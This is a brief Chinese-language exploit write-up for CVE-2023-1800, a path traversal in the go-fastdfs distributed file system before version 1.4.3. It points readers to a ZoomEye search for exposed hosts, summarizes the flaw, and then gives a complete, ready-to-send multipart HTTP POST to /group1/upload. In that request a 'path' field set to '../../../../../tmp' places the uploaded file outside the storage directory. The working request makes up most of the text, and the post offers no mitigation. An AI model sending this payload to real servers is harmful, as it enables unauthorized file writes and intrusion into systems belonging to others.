Go-fastdfs 任意文件上传（CVE-2023-1800）

ZoomEye搜索"go-fastdfs"
sjqzhang go-fastdfs 是一个开源分布式文件系统，专为存储和共享大文件而设计。 它是用 Go 编写的，由开发者 sjqzhang 在 GitHub 上维护。
在 sjqzhang go-fastdfs 1.4.3 之前发现了一个被归类为严重的漏洞。 受此问题影响的是组件File Upload Handler的文件/group1/uploa的上传功能。 操作导致路径遍历：‘…/filedir’。 可以远程发起攻击。 该漏洞已向公众披露并可能被使用。 该漏洞的标识符为 VDB-224768。

POST /group1/upload HTTP/1.1
Host: ip:8080
Content-Length: 951
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryigj9M9EJykZc9u53
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryigj9M9EJykZc9u53
Content-Disposition: form-data; name="file"; filename="test"
Content-Type: application/octet-stream

success
------WebKitFormBoundaryigj9M9EJykZc9u53
Content-Disposition: form-data; name="scene"

default
------WebKitFormBoundaryigj9M9EJykZc9u53
Content-Disposition: form-data; name="filename"

test
------WebKitFormBoundaryigj9M9EJykZc9u53
Content-Disposition: form-data; name="output"

json2
------WebKitFormBoundaryigj9M9EJykZc9u53
Content-Disposition: form-data; name="path"

../../../../../tmp
------WebKitFormBoundaryigj9M9EJykZc9u53
Content-Disposition: form-data; name="code"


------WebKitFormBoundaryigj9M9EJykZc9u53
Content-Disposition: form-data; name="auth_token"


------WebKitFormBoundaryigj9M9EJykZc9u53
Content-Disposition: form-data; name="submit"

upload
------WebKitFormBoundaryigj9M9EJykZc9u53--